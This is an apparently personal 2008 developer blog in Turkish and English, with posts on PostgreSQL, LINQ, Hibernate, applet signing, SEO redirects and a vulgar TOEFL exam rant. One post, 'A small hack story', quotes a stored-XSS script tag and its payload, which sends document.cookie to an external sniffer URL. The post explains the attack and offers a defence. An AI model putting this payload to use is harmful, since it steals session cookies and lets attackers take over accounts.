reading bölümü hayatta yüz yıl geçse ilgi duymayacağınız saçma sikik bi konuyla ilgili 3 5 paragraflık bişeyi iteliolar sabırla okuyup anlayıp sorulara cevap vermenizi bekliyorlar. öss deki anlatım bozukluğu problemlerinde yaşadığım sıkıntıyı burdada yaşıyorum çünkü soktuğumun cümleleri bin anlama gelebiliyor o mu bu mu diyip sinirlerinizi oynatıolar. hadi ya sabır deyip geçiosun bu sefer şaka gibi vocabulary yani kelime haznesi soruları geliyor. bunlar hakikaten şaka gibi. solda soruda dioki pasajda geçen "ebelek" kelimesi hangi kelimeyle eş anlamlıdır. altındada 4 tane daha önce ömrü billah duymadığınız ingilizlerin bile anlamını bilmediği kelimeler sıralanıo. hadi tırnak içindeki kelime pasajda geçtiğinden belki bi ihtimal anlamını çıkarabilirsiniz ama şıklar nolucak. aq şıklar nolucak :))

büyük bir sabırla bi saat böle reading ile cebelleştikten sonra listening başlıyor. aynı tondan 3 ile 10dk lık konuşmalar geçio bi yerden sonra doğal olarak dikkatiniz dağılıyor sinirlerin geriliyor çünkü konular saçma salak. jeoloji astronomi gibi derslerin öğretmenlerinin anlattığı bi bokla ilgili bi kaç soru çözüyorsunuz. ya benim karşımda 5 dakika aynı şeyi anlatırsa biri dinlememeye başlıyorum o esnada doğal olarak boş boş bakmaya başlıoz monitöre. etrafda neler oluo derken sorular gelio sikerim seç geç seç geç yapıp bitiriyorsunuz. listening ciddi konsantrasyon istio readingden sonra hiç çekilmio.

ahada geldik speaking e. yine bişeyler dinliyip yada okuyup onlarla ilgili fikirlerinizi veya açıklama yapmanızı bekliolar. bak konuya kızın biri yurtta kalıo oda arkadaşı ile uyku saati problemleri olduğundan bahsedio. sora soruda dioki konuşmada geçen fikirler nelerdi o problem nasıl çözülür siz hangisini desteklionuz. benim doğal hayatta cevabım şu o kızıda sikerim oda arkadaşınıda sokmiyim babasının şarap çanağına oda değiştirsin, eve çıksın banane aq. ama sabırla anlatıoz. yine çekilebilir bi bölümdü. ama 60 saniye konuşamadım hiç genelde son 20 saniyede dım dı dım gibi mırıldandım fikrim çok yok banane elalemin hayatından fikrimi açıkladım bekledim :)

writing yine ipler elimizde. 150 ve 300 kelimelik iki yazı bekliolar birinde 151 diğerinde 302 kelime yazdım sanırım. olay bilgisayarda geçio ya yukarda word counter koymuşlar :) o limit doldu direk kaçtım öldüm sıkıntıdan ortalam 4 saat sürdü ve 185$ a geldi aklı olan sakın girmeyin ihtiyacı bile olan girmesin para tuzağı zaman kaybı.

şimdi geleyim kendime çıkardığım eğlencelere. sınav bilgisayarda geçio web cam le fotonuz alınıo bilgisayara oturuyorsunuz. ben bi süre durdum daha sınavın başlamasına 20dk var önümde ie6 açık kendi resmime bakıom. acaba internet varmıdır biraz gezinem dedim herşeyi kapamışlar windows tuşuna basıom menü gelmio alt tab yapıom pencere değişmio :) XP sistem ve XP gibi nt tabanlı sistemlerde engellenemiyen tek kesme ctrl alt del bi koydum bödöf dağıldı makine ie kapandı :) kalktım ayağa bu bozuldu dedim :D kız geldi naptınız dio bilmem dedim :) internet varmı die bakıodum gitti öff pöff çekio :) makineler çok kıç kıça yanda yine kaydı alınmış makineyi yanlışlıkla kapadı ahhaha sinir harbi geçirio kız :) bende öte masadaki taş hatunu kesiom gülüşüoz :D çıkışta öffleyen hatunla karşılaşdık aa saati dolmadı bittimi dedi. yeter dedim ya 4 saat sınavmı olur hadi bana eyvallah sinir harbi geçiriom sınav bana çok sıkıcı geldi. tahminim 31 alırım merak eden ingilizce biliyommu die gelsin konuşalım sınav mınav yalan işler :)

yinede eğlendim ama sınavın kendisi çok sıkıcı haberiniz olsun....

Wednesday, June 25, 2008

garanti bankası 4. levent paramatik

metrodan sağa dönüp çıkınca bulnan paramatik şu an itibarıyla çalışmıyor ve yandaki akbankdan para çekerseniz 3 buçuk lira para alıyor. illaki düşen olur haberi olsun.....

Tuesday, June 24, 2008

Linq ve Hibernate

uzun süredir duyduğum linq yu inceleme fırsatım oldu en sonunda ilk elden :) genelde videolarda veya makalelerde görüyordum. olay özünde hibernate in görselleşmiş hali. sabahdan akşama ofisde hibernate xml leri ve pojolarıyla oynamakdan obje kusacam yakında ordan biliomki hibernate çok kolay değil.ve microsoft bu esnada piyasaya çıkıyor var olan orm yapısını yine şükela biçimde ambalajlıyor.

var olan asp.net projesine linq kabiliyeti nasıl kazandırılıyor:
1- projeye sağ tıklayıp "Add New Item" seçiliyor. çıkan ekranda da "LINQ to SQL Classes" seçiliyor örnek ekran görüntüsü

ve sadece bu adım var olan projeye bir dbml dosyası ekliyor.
2-sonraki adım dahada kolay hemen sağda duran server explorerdaki database'inizden açılan panele table ları sürükleyip bırakmak isimlerini istediğiniz gibi ayarlamak örnek görüntü

işte bu kadar classlar hazır koda gir yaz dio adam nereye ne koycan napacaksan :)

hemen kod örneğide verim screen shotdaki classları kullandım:
var p1 = (from p in db.Photos
where p.user_id == (Guid)Membership.GetUser().ProviderUserKey
orderby p.created
select p).First();

bu kod bize gidip photos tablosundan login olunulmuş user a ait fotoların ilkini getiriyor. çok tatlı olmuş çok. bu var keywordüde yeni c# 3 le gelio. compile time da tipi belirlenen değişken tanımlama yöntemi. eskiler bilir vb6 daki variant a benzemio bi satır aşşada p1=3; dersek compile da hatayı verio aynen.

asıl bomba hareketleri denemedim bu arada insan merak edio bu linq nanesi sqlite ile yada mysql ile ne derece anlaşabilio :)

linq yu denedikden sonra yine son zamanlarda asp.net dünyasında MVC muhabbetleri duyuyordum ona bakim dedim ilk elden deneme şansım olmadı ama symphony veya cakephp nin ambalajlanmışıda yolda henüz deploy edilebilir bi versiyonu yokmuş ama bu video öle dedi.

Sunday, June 22, 2008

Cannot add diagram to SQL Server 2005 DB: Database diagram support objects cannot be installed because this database does not have a valid owner.

I was having same problem which explained in tha linked page. but this page did not solve my problem. how I solve this issue:
1- download sql management studio express
2- in the tree open security node and right click on "sa" user and enable "sa" login.
after that I easily design my database in diagram.

Cannot add diagram to SQL Server 2005 DB: Database diagram support objects cannot be installed because this database does not have a valid owner.

Sunday, June 08, 2008

Applet Sign / Applet imzalamak

uzun süredir ingilizce yazmaya uraşırken iyicede boşlamışdım blogu. zatende muhim bişe yokdu yazcak bugün ilk defa bir appleti imzalamam gerektiğini gördüm. applet bir oyun appleti. ve bir soket açıp servera bağlanması gerekiyordu. lokalde çalışan jar dosyası siteye koyunca exception atar oldu. security exception not allowed falan ulan noluo hani çalışıodu bu bende. anadımki soket açıcak dosya okicak yazcak yani IO işi yapcak bi appletse sign edilmesi gerekirmiş. aradım güzel doc yok bu yazdığımda çok resmi ve açıklayıcı olmicak ama ben olayı şöyle çözdüm.

1. adım jdk ile gelen keytool.exe ile bir key oluşturmalı
2. adım jarsigner.exe ile imzalamak(sign) istediğimiz jarı imzalıoz.

örnek komutlar:

C:\Program Files\Java\jdk1.6.0_04\bin>keytool -genkey -validity 99999 -alias signTavlaFiles1 -keystore compstore -keypass kpi135 -dname "cn=Özkan Pakdil" -storepass ab987c

C:\Program Files\Java\jdk1.6.0_04\bin>jarsigner -keystore compstore -storepass ab987c -keypass kpi135 -signedjar TavlaApplet.jar TavlaApplet1.jar signTavlaFiles1

benim aklıma takılan bi "validity" konusu oldu normalde bu parametreyi vermezseniz 6 aylık sign edio warning verio. keyfime tavlaappleti buldum oynuom bunun içinde para vermenin ne alemi var ama dimi :) garip millet nerden sikceni şaşmış.

Saturday, May 31, 2008

Tuesday, May 06, 2008

server client programming

here is the deal about the server client programming which is port numbers and their limit its about 65 thousands. I know its not a really big number about if you are planing to serve counts more then 65 thousands.

here is the solutions about it. iocp and p2p networking. I am reading both of those big topics. I think if you are planing to do something big p2p will be the real solution. at least throwing bandwidth of the server to client its easy way to go with p2p. I read jxta and I can say that its absolute solution about java and server part. there are some problems about .net and c# part but. in developing games in this situation its acceptable to build a applet for it :)

Saturday, May 03, 2008

pg_restore

I know its been a long time I have not write anything. because I have not learn or done any new things. I dont want to write regular meaningless blogs here. anyway today I tried to restore a pg_dump out file to another postgresql server.

that pg_restore looks nice but in first try it started print lines of the file that was strange. at the end I learned that if we give the name of the database it will restore data to there. otherwise it works like scanner for a dump file.

here is the command: pg_restore -d dbName backupFileName

after that it does not print anything to stdout just starts restoring the data. if anyone knows how to show which table is being restored in that time that would be nice. because now I am cleaning some useless data with pgadmin manually.

Sunday, March 30, 2008

Kubuntu Java And Eclipse

I have 3gb ram and p4 2.6 cpu and 8400gs nvidia video card but I was still having gui freezing eclipse problems. in this morning I started digging talk with my friends and read forums about the performance problem. now I am freely telling you if you have eclipse which works really really slow. you need to install sun java. not gij or blacksmart or anything. sun works well and eclipse gui does not freeze anymore.

Eclipse and word wrap

I know its legendary issue in eclipse world. while I was trying to read a simple README file in eclipse editor. I thought maybe someone would implemented till now because I have not check this issue since 2 or more months. anyway I found this and now I know. there wont be any word wrapping at least 1 year its just sad.

Wednesday, March 26, 2008

Amarok and Last.FM

I dont know what is the deal between them but I love this ability of Amarok. you give your last.fm user name and password to amarok and choose one channel and it starts playing songs one by one and I can say I like this or ban this. lovely kde and beautiful amarok.

there is only one problem about this. sometime quality of the stream changes and sound volume changes too. not a big bug but annoying.

anyway its been a long time I have not used linux for desktop this is good.

Friday, March 14, 2008

for loop problem in IE

I was coding some small javascript which should change the tab and modify some color and stuff and load some rss from somewhere its no big deal. somehow code worked in firefox but not in ie7. first I tought I manage to broke variables and naming. look at the code:

function ChangeTab(id,title){
for(k=1;k<4;k++){
if(k==id){
// section 1
}
else
{
// change like it did not choosed
}
}
}

its the simplest code ever. but somehow in ie it did not throw any debug dialog or any error at all. it was breaking the for loop "section 1" if it goes in there. here is the solution:
function ChangeTab(id,title){
for(var k=1;k<4;k++){
if(k==id){
// section 1
}
else
{
// change like it did not choosed
}
}
}

looks like no difference isnt it :) look closer. ie's javascript engine wants that k has to be declared there strange very strange. because normally ie can handle this small things. anyway what is the lesson from here. never trust ie :)

Monday, March 10, 2008

alexa

I don't know what is going on but there is strange things happening about Alexa these days. I have been buying some text links for seo for Google but some how my site loosing its score from Alexa its simply impossible because traffic going up. but when I see that Google ranked as 4. in Alexa top list I understand that there must be some thing going on Alexa. I dunno what its yet. it may be changing its algorithm or something. but it effects even Google. think about it.....

Friday, March 07, 2008

Flv Player

One of my friend göker developed the smallest flv player in as3(action script 3). if you are developing any kind of a video service you will probably need a player which can handle flv files.

check this out: Flv Player

Saturday, March 01, 2008

sendRedirect and SEO in java

simply response.sendRedirect takes user to another page. mostly its enough for forwarding browser to somewhere else from user perspective but what about google bot and other search engines. PR is not a easy thing to earn. and not affordable thing to loose.

anyway back to the topic. let say we are redirecting clients for subdomains to the other folders. like this:

faq.domain.com -->> faq.domain.com/faq/

in this situation we should use sendRedirect but that function uses HTTP 302 for the response status it means moved temporarily. as a result if you got any link from pr5 to faq.domain.com you will loose it. because google bot will say that this is a temporarily issue then I should not give this pr to that page.

how can we gain back that pr. you shoul use these lines for redirect:
response.setStatus(301);
response.setHeader("Location",newUrl);

if anyone who wonder about the real implementation of sendRedirect here:

public void sendRedirect(String url)
throws IOException
{
if (url == null)
throw new NullPointerException();

if (_originalResponseStream.isCommitted())
throw new IllegalStateException(L.l("Can't sendRedirect() after data has committed to the client."));

_responseStream.clearBuffer();
_originalResponseStream.clearBuffer();

_responseStream = _originalResponseStream;
resetBuffer();

setStatus(SC_MOVED_TEMPORARILY);
String path = getAbsolutePath(url);

CharBuffer cb = new CharBuffer();

for (int i = 0; i < path.length(); i++) {
char ch = path.charAt(i);

if (ch == '<')
cb.append("%3c");
else
cb.append(ch);
}

path = cb.toString();

setHeader("Location", path);

// The data is required for some WAP devices that can't handle an
// empty response.
ServletOutputStream out = getOutputStream();
out.println("The URL has moved <a href=\"" + path + "\">here</a>");
// closeConnection();

if (_request instanceof AbstractHttpRequest) {
AbstractHttpRequest request = (AbstractHttpRequest) _request;

request.saveSession(); // #503
}

close();
}

Friday, February 29, 2008

Clickaider

I have been waiting about this. cliackiader is a freeservice under 100 thousands page view after that it says.

Current period includes more than number of clicks allowed for youraccount (100,000).
You can view current report starting from 02/25/2008 00:00.


its nice to see that we overwhelmed the possible ways :)

Skype Database

I have not know that skype uses postgresql at backend. check this out
one of the project that they wrote for postgresql. I guess it is good idea to have that kind of clustering.

Tuesday, February 19, 2008

Vista is a total disaster or what

some part of my program could not work on vista. it says "no authorization". this program developed under .net 2 simple program shows some web pages from internet stands in system tray. thats the program in this post.

and it uses webbrowser component of .net. I know microsoft build up a new most secure system for their customers. but it works in XP. there must be some option about vista situation. now I am thinking C++ will be more easy but I am not sure. anyway time will show.

Funny Eclipse

I have been working with all platforms about 15 years now. I used to write bat files in dos5 now I am writing java code with eclipse and c# with vs.net . anyway here is the story about the funny ide :)

I was writing some AJAX application in eclipse which has to call a ten thousand line js file from browser and call some function from there. first of all writing that much big js file is a big big mistake from all perspectives. and deploying this big file to a browser another mistake but its a big project since 2006 its written by some people. I can not change that in 1 day.

when I start to turn mouse wheel eclipse understands later the effect and when I stop it could not stop :) and line numbers comes later too. it means I have to a lot of CPU and RAM for that. but its like walking with a big dog :D

NotifyIcon and double click problem

in .net 2 if you want to show your application in system tray. you need to add notify icon to your application and set the "ShowInTaskBar" property to False. now you have the notify icon in the system tray. my problem was I could not show the form if I double click on the notify icon. I tried to BringToFront() which works but it did not work under this situation. anyway here is the solution:

private void notifyIcon1_MouseDoubleClick(object sender, MouseEventArgs e)
{
this.Visible = true;
Show();
this.BringToFront();
this.Activate();
}

I know that bringtofront function does not work but I like to see my code this way more clear :) now Activate() works perfectly.

Change Php Memory Limit in Shared Hosting

One of my client asked me to solve a small bug in one of my php application. I am not a php guru but I am a dirty hacker :) anyway the problem was exceeding memory limit. in shared hosting it was limited with 8M from php.ini

I made a small research but could not find any document about it in ISP's page. and asked to my uncle google. he could not find any copy paste code there too :) and at last of course for the php I have to check php.net and its documentation little bit reading here is the line which saves the day:

ini_set('memory_limit','128M');

it was working very fine in 8mb then it will work for a long time in 128m :) thats enough for that.

Monday, February 18, 2008

Firefox 3

still in early steps and somehow I get the same http 500 error from docs.google.com. I dunno how to solve this.

Sunday, February 17, 2008

Firefox 2 and google docs problem

really strange problem somehow I manage to get http 500 error from docs.google.com in firefox 2 and clearing cookies did not help me about this. it means now I have the reason to give a shot for firefox 3 :) this was from ff2.

Cloverfield

in two few words. good packing :) it does not have a new story or new outstanding style. but in this movie somehow I open my eyes and watch without blinking :) maybe because it was something like quake game. like you are one of the player in the movie. it does not telling you a story. this movie taking you into the eyes of someone in the story.

it has a high tempo and I was like this "what was that" "what just happened" "what". I can give 7 out of 10.

Thursday, February 14, 2008

Job interview

one time somebody asked me to write a code which will solve Fibonacci numbers. and I looked at the paper and after 5 secs. I told him to look at the Google this is the oldest question in the book.

I know there are some people who thinks programmer has to know this. I am not one of them actually I always like to write new things. who care the solution of Fibonacci in real world computer problems. I know what it is and how to solve it thats enough for me.

if you like to memorize that code or one of the fan of Fibonacci check this out:
http://www.hanselman.com/blog/TheWeeklySourceCode13FibonacciEdition.aspx

still I find c# 2 implementation better than others.

Postgresql group by day, week and month examples

at the end of any product there will be a reporting interfaces for counts. let say you build a advertisement site which gives people to publish their products on the site. they will want to see how many people visited their product in daily basis or weekly.

I used to do this in mysql like this
SELECT create_time as Date, count(id) as 'Count', FROM
views_of_product
group by date_format(create_time, '%d %m %Y')
order by date_format(create_time, '%Y-%m-%d') desc limit 7

this will nicely show last seven days views. but I needed to do same thing in postgresql. and like other days its not easily to find. I should check other report codes from project but no I allways research on google :) anyway here is my code:
select to_char(created, 'YYYY-MM-DD') ,count(id)
from videos_capture
group by to_char(created, 'YYYY-MM-DD')
order by to_char(created, 'YYYY-MM-DD') desc limit 7

its not bad actually works like a charm but understanding this code is not that easy. after I found this I started to implement needs and see better and easy to understand solutions.

weekly count example. this will show new users weekly parts for last 3 months:
SELECT date_trunc('week', created) AS "Week" , count(id) AS "New Users"
FROM users
WHERE created > now() - interval '3 months'
GROUP BY "Week"
ORDER BY "Week"

yearly example. this will show monthly 1 year users:
SELECT date_trunc('month', created) AS "Month" , count(id) AS "New Users"
FROM users
WHERE created > now() - interval '1 year'
GROUP BY "Month"
ORDER BY "Month"


I must say understanding postgresql's sql more easy then mysql.

Wednesday, February 13, 2008

I am legend

I know this is little bit old movie and I watch it again. at first it has a perfect production they duplicate entire city for this that is good. secondly it gives a nice idea about bob marley and peace. at the end its still a copycat scenario of some movie.

I started to think about really there will be a virus for end :)

Monday, February 11, 2008

is it true

I was just reading my rss subscriptions and find out that there is a research about cellphone and its cancer affect. I am not a doctor nor I know anything about these stuff.

but I know something about money. anyone can say anything if they got 8.8 million pound. this set includes doctors even prophets.....

http://www.guardian.co.uk/technology/2008/feb/06/mobilephones.health

Sunday, February 10, 2008

Hitman vs Rambo 4

first I watch rambo 4 after a long time seeing someone from your childhood was good feeling at the end it was not bad. I was fell a sleep in that last rocky movie :)

hitman is a real good movie. they stick to the character and stuff just like the game. but I must say that game was boring for me it was too quite. I like to have more noise :) quake rulez.... anyway at the end hitman was a good movie.

in my opinion Rambo probably would kick hitman's ass :) ofcourse if he does not bring out a needle. he does have tricks :)

Sweden must be a good place

I have been searching which movie coming out and how is going the media. anyway somehow I find myself reading letters between thepiratebay.org and big firm's law departments. for example apple and microsoft and dreamworks. you name it :) who has a big firm and a production sent them a mail and they respond to these mails as rude as possible :)

I dunno this story is true or lie but I like these words exactly from letters:
As you may or may not be aware, Sweden is not a state in the United States
of America. Sweden is a country in northern Europe.
Unless you figured it out by now, US law does not apply here.
For your information, no Swedish law is being violated.


after now I am fan of Sweden :)

Friday, February 08, 2008

ISAPI and IIS Server Header

IIS puts "Server:Microsoft-IIS6" or something like this string into the returned header from server in http. that is somehow a security hole because a person who is interested in doing bad things or anything to some server its first rule for them to learn what are they dealing with.

so I needed to close this way. I made a research but its kinda old old old articles everywhere and not most of them useful. here is my solution. at the end these is source code included for Xmask I tried to change this server header to something else like "Server:Mascix" but it did not work I dunno why but at the end it cleaned what I wanted :)

Wednesday, February 06, 2008

A small hack story

One of my friend came to me and told me he lost his admin user while he was browsing the web site. I was surprised because normally it does not happen. if that site was using asp.net :) its sad but true asp.net does not allow html inclusion in post data. anyway the hacker puts a script code into his name field like this:

src="http://inso.host.sk/sniffer/c.js"></script>

its not a big deal if you look the output of this script you will see this:

a=new/**/Image();a.src='http://inso.host.sk/sniffer/s.php?a='+escape(document.cookie);

at the end it stoles browser's cookie and send it to a php file. while the hacker browsing another url and see which fish got fall for a trick :) anyway today I made a research and found a solution to this situation:

https://addons.mozilla.org/en-US/firefox/addon/722

you should simply disable all js inclusions in the page except the domain. that will make your browser more secure.

Good Code vs Bad Code

Sometime I talk with my programmer friends about data structure and design patterns and good code. I think there is good code but it does not matter if you see it at first it takes sometime to understand it. thats why if you start swearing at someone's code who worked the place before you. no matter how was good that code was. here is a good explanation of that situation :)
at the end there is no looking at code and not swearing :D

Monday, February 04, 2008

We have to learn Chinese

its been a long time I have started to see japanese or chinese language in internet. they have really good technical guys but most of them writes in their language. today I was checking my email. and I saw a news its really cool.

210 million Internet users in China; 11.93 million domain names


it means a big big big market there and if we want to do something we have to start learning Chinese. it will be easier then teaching them English I guess :)

references:
http://english.people.com.cn/90001/90781/90877/6341926.html

Friday, February 01, 2008

Howto Change Your Server One To Another

this post is about ftp in bash/console.It has been a long time I was a godaddy customer. their service is really nice if you are starting something but at some point in my "Deluxe Hosting - Linux" account mysql databases started to suck. I have tried to change mysql databases create new ones from hosting control center. but it did not work out and I get a new dedicated server. now I have about 10 domain which works under linux with power of php. so how am I gonna move all those to another linux.

here comes our mutual friend MC. midnight commander :) this new dedicated is debian and apt totally rocks it took me to install mc in 5 secs. and lets see how we can connect to other ftp at "right" menu there is "ftp link". you need to put proper ftp url there and in right panel you will see another server which is in godaddy data center :) isnt it rock.

example proper ftp url for midnight commander ftp client:
"username:password@yourdomain.com"

and all these will be under console. linux rocks

JSP http post arguments/parameters

yesterday I was looking for a way to print some values from http POST. then I could not find easy example. this was about getting values from some swf. first I wrote this:

for(Enumeration i = request.getParameterNames();i.hasMoreElements();){
String parName=(String)i.nextElement();
out.write("parameter:"+parName+" value:"+request.getParameter(parName));
System.out.println("parameter:"+parName+" value:"+request.getParameter(parName));
}

this was working very well I tried it from browser address bar. but then there was a strange exception about security and stuff. like this:
[2008-01-31 19:18:17,140] resin-tcp-connection-*:80-11 WARN org.springframework.web.servlet.PageNotFound - No mapping for [/crossdomain.xml] in DispatcherServlet with name 'pageFlow'

as you see sound like spring exception. then I convert the *.xml line to rss.xml in web.xml. because there was only one rss.xml request which has to be handled by spring. after that I have to find a crossdomain.xml for swf. example:
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.macromedia.com" secure="false" />
<allow-access-from domain="*.adobe.com" secure="false" />
<allow-access-from domain="*.mydomain.com" secure="true" />
</cross-domain-policy>

the important part we have to say our domain is secure=true otherwise same exception stays. now my http post printer is working.

Wednesday, January 30, 2008

Hibernate and null fields

I was writing some simple slide generator. and in that process I write hbm.xml file and put this line in there.

<property name="photoSlideId" column="photo_slide_id" type="long" not-null="false" length="8" />

then I put needed variable into the class like this:
private long photoSlideId;

then I start to get photos list as null. it was impossible because it has to generate a exception or something in that situation. then I realized that this code was trying to assign null into the "long" type variable. it was impossible because in java we cannot assign null into the primitive types. then I changed class like this

private Long photoSlideId;

and its working like a charm.

Tuesday, January 29, 2008

Terminator The Sarah Connor Chronicles

when I saw this film I thought its the dam ass copy. but let me tell you its not. I watched 3 section one by one it was incredible. except this Sarah Connor is little bit skinny then the older one and little bit whiter :) at the end I felt like I am child again. like a nostalgy.......

Friday, January 25, 2008

Mysql Charset C#

if you have any problem in inserting or updating values in utf8. there is easy way to do that. you need to add Charset=utf8 into your connection string example:
server=localhost;user id=fastfood;Charset=utf8;

Thursday, January 24, 2008

Flirtable --

flirtable going to be rich soon I hope otherwise I can stand that advertisement which comes in front of me. I used to like this facebook application but this is way to live I guess......

soon flirtable will be gone from my applications.

Garanti En Sonunda Akıl Etti

senelerdir kredi kartının ekstresinin gelmesinden huylanırım zaten ve ne zaman fırsat bulsam ben bu ekstreleri istemiyorum göndermeyin derim. sonuçta internet bankacılığı diye bişey var ve her işime yetiyor. bugün mail gelmiş bonus tanda ödüllü kampanyayla hem doğayı koruyorlar hemde kara geçiyorlar :) hele şükür en sonunda kafaları çalıştı.

ps: her ne kadar senelik olarak bizi sağsada güzel bir hizmet veriyorlar. merak ediyorum senelik aldıkları ücretlerden dolayı kaç müşteri kaybettiler ben bir tane tanıyorum adam bütün kartlarını hesabını iptal ettirip işbankasınamı ne geçmişti. benimkide üşengeçlik bide gelen gideni aratır korkusu :)

Tuesday, January 22, 2008

psql ilk deneme

14 bin satır bir schema dump ı var elimde pgadmin ile windowsda aldım başka bir windows makinede postgresql e bunu koyup bi şekilde yeni table oluşturmam lazım. tabii pgadmini açtım o makinede ama klasik çalışmadı pg_restore falan denedim yemedi. efenim örnek:
"c:\Program Files\PostgreSQL\8.2\bin\psql.exe" -Upostgres azbuz < "c:\Documents and Settings\opakdil\Desktop\dump.backup"

sevimli oluo bu open source db ler.

Thursday, January 17, 2008

Postgre yi geliştirenler

bugünlerde yazılardan belli olduğu üzere postgre mıncıklıom sayfasında dolanırken kim geliştiri die bi link. grup süper :) devrimde hemen yerini almış heyecanlı open source cu. asıl olay onun hizasındaki solundaki hatun ne güzelmiş bu db iyice ilgimi çekmeye başladı :D

Wednesday, January 16, 2008

Postgresql 8.2 de xml

mascix:xml ile xsl kullancam db den xml gelmesi lazim bu postgre nazlandi bugün bi ayarmi lazim ona
selamtux bilmiyom ki
xml çalisabiliyomu onuda bilmiyom

mascix:
postgre yi bilmion
:) çalisioda bende çalismadi
bunun ayari nerden verilio
selamtux
http://www.postgresql.org/docs/8.2/static/datatype-xml.html

mascix:
onu bugün okudum geç
selamtux
http://www.throwingbeans.org/postgresql_and_xml.html

mascix:
bi ayar lazim sanirim select örnekleri çalismadi
selamtux
contrib/xml2 has a function called xml_is_well_formed() that can be used in a CHECK constraint to enforce that a field contains well-formed XML. It does not support validation against a specific XML schema. A server-side language with XML capabilities could be used to do schema-specific XML checks.
postgreSQL contrip paketi kurulumnu?
kurulu ise xml2 diye bisi olacak içinde onu bi aç bi içine bak
sonra onu sisteme kur
kurulum bilgisi vardir
genelde dosyayi çalistirman yeterli oluyo (sql içinde çalistiracan)
yada derlemen gerekebilir
demekki okumussun ama bos okumussun :D

mascix:
he ölesine
:D
xml2 diye bisey nerde olucak
selamtux
/usr/share/pogtgresq altinda olabilir

mascix:
libxml falan hersey ok
aslinda xml çalismasi lazim
ama ayar yapilcak seyi bulamadim
normal conf dosyalarina baktim ama yok
selamtux
usr/share/postgresql/8.2/contrib/

mascix:
pgxml.sql(C:\Program Files\PostgreSQL\8.2\share\contrib)
böle bise var orda bunumu çalistirim
selamtux
evet

mascix:
baboli sana saygi duyuyom
:)
SELECT
article_id, xpath_string(article_xml,'/beatles/@id') AS beatle_id
FROM
t_articles
WHERE
xpath_bool(article_xml,'/beatles/beatle[@alive="yes"]');
bu query çalismiodu artik çalisir oldu
hemde sen unix anlation
ben windowsdan çözom olayi
ooohhh
:D
selamtux
:D
kolaymis ama demi?
postgresql güzel bisi

mascix:
aga postgre zor bisey
selamtux
bu arada o contrip içerisinde çok kullanisli seyler var

mascix:
ben bu contribin olayini bilmiodum
sabah aksama kadar okudum
selamtux
normalde posgtreSQL fulltext search desteklemiyo

mascix:
kullanicilara uygun sistemi kafada bitirdim
selamtux
ama mssela tsearch2.sql bunu kuruyon full text desteklemeye basliyo

mascix:
ama implementasyonu yapamadim bunda takildimdi
anladim bundan sonra burdan sql çalistircam :D
aslinda süper bisey ha bu böle çat diye opsiyon algilio
hemde ariza çikarmio
selamtux
btree_gist.sql bu güzel bise bak

mascix:
bu süper bi özellik neden dersen php de bile bi sürü dll arizasi çikar bunda yok :D
selamtux
earthdistance.sql
Create the user-defined type for N-dimensional boxes

mascix:
sexsi very sexsi
:)
selamtux
:D
ok ben filme dönüyom
günün kahramani bir problemi daha çözmenin vermis oldugu rahatlikla film izlemektedir

mascix:
SELECT xmlelement(name foo, xmlattributes(current_date as bar), 'cont', 'ent');
bu çalismio bende
sende çalisiomu
yaw dur iki dakka saat 11
:)
selamtux
xmlelement diye bir fonksiyon yok o dosyada

mascix:
nerde var o
selamtux
xpath_nodeset
bilmiyom ki
contrip içinde yok

mascix:
fark ettim
ama doc da var
http://developer.postgresql.org/pgdocs/postgres/functions-xml.html
selamtux
http://www.postgresql.org/docs/8.2/static/datatype-xml.html
PostgreSQL 8.3RC1 Documentation
sendeki 8.2
8.3'de çok deli seyler geliyo
buda onlardan biri :D

mascix:
annesine atliyim
yapma yaw
selamtux
8.2 doclarini kurcala

mascix:
heyecanim kaldi içimde xml den xsl le bi sürü html yapaciydim ben
selamtux
http://archives.postgresql.org/pgsql-interfaces/2007-03/msg00012.php
o kurdugun dosyanin içine bak oradaki fonksiyonlari kullanabilirsin

mascix:
xpath_table
bu güzel duruo bi arýyým bakam
yok buda arama aleti
:( database update i zor iste

Tuesday, January 15, 2008

Bangbus

bilen bilir bu bangbus eski bir hikayedir ama her hafta yeni kız çıkardıkları için porno aleminde saygın bir yerleri vardır. teyzeler yanlışlıkla denk gelmiş filmi izledim commentleri okudum koptum :D

Monday, January 14, 2008

Nhibernate ama GoDaddy

nhibernate bir orm bir object relation mapping aleti. o ne derseniz kısaca bele db deki verileri class lar halinde ulaşmanızı sağlıyan bir ortam pojo poco falan filan. neyse bu aletin özelliği altına bi kaç çeşit db koyabiliosun. yok sqlite yok mssql veya access. dedim bende basit bir template hazırlıyim db bağımsız çalışim. lokalde access ile çalışan dalga godaddy de çalışmadı yine. halbuki gaza gelmiştim buna membership ve role providerlarının olduğu bi projeye bide profile provider yazcaktım yine içimde kaldı afiyet olsun :)

olsa tam süper olacak.

Saturday, January 12, 2008

Gridview i Bölmek(Gridview Slice,Divide)

başlıktaki parantezin içindeki bölümü arıom. asp.net de yapıyorum forumlara bakıyorum yok yok yok. bunu ben bi gridview da araya adsense ler serpiştirmek için arıodum. ulen dedim kesin benden önce birisi bunu yapmıştır diyip direk google a soruyorum. google.com da "gridview adsense" aradım ve şu andaki en alttaki sonuç geldi karşıma.

adam yazısında da belirttiği gibi araya herhangi bir reklam koymak için kullanılan bu yöntem gayet başarılı çalıştı. özünde yaptığı şey select yaptıktan sonra gelen datatable da bi tur atıp her 5 adımda bir bi cins id(-12345) eklemek. sonra bu gridview ın row created eventinde o cins id li satıra gereken değişikliği yapıp o satırı olduğu gibi usercontrol a dönüştürmek. pretty neat çözüm olmuş :)

Mysql de null problemi

şöyle bir durumumuz var. table1 deki field1 i bir artırıp bi kaç satır insert etmek istiyoruz ve "select field1+1 from table1" dediğimizde field1 herhangi bir sebepten dolayı null olduğu için selectimizin sonucu null geliyor.

bu durumda ne yaparız. sonuç basit "select ifnull(field1,1)+1 from table1" dediğimizde field1 olursa 1 değilse kendisi gelir ve 1 artırılıp istenen değer alır. bu problemle karşılaştığımda biraz uraştırdı buda ayrı bir çözüm ki benim kullandığım bu çünkü durumu asıl kurtaran bu oldu siparis _id sini bir artırmam gerekiodu ve bu sipariş id si en büyük sipariş id si olması gerekiodu.

"SELECT ifnull(max(siparis_id)+1,1) from siparisler where user_id=?user_id;"

bu sayede kullanıcının en son verdiği sipariş id si bir artırılıp yeni sipariş id si olarak kullanılır oldu.

Friday, January 11, 2008

Eclipse Svn User Değiştirmesi

Eclipse de ki projeleri svn den aldığımızı ve oluşturduğumuzu varsayalım. aradan vakit geçti ve artık başka bir kullanıcıyla o eclipse den commit yapmak istiyorsunuz.

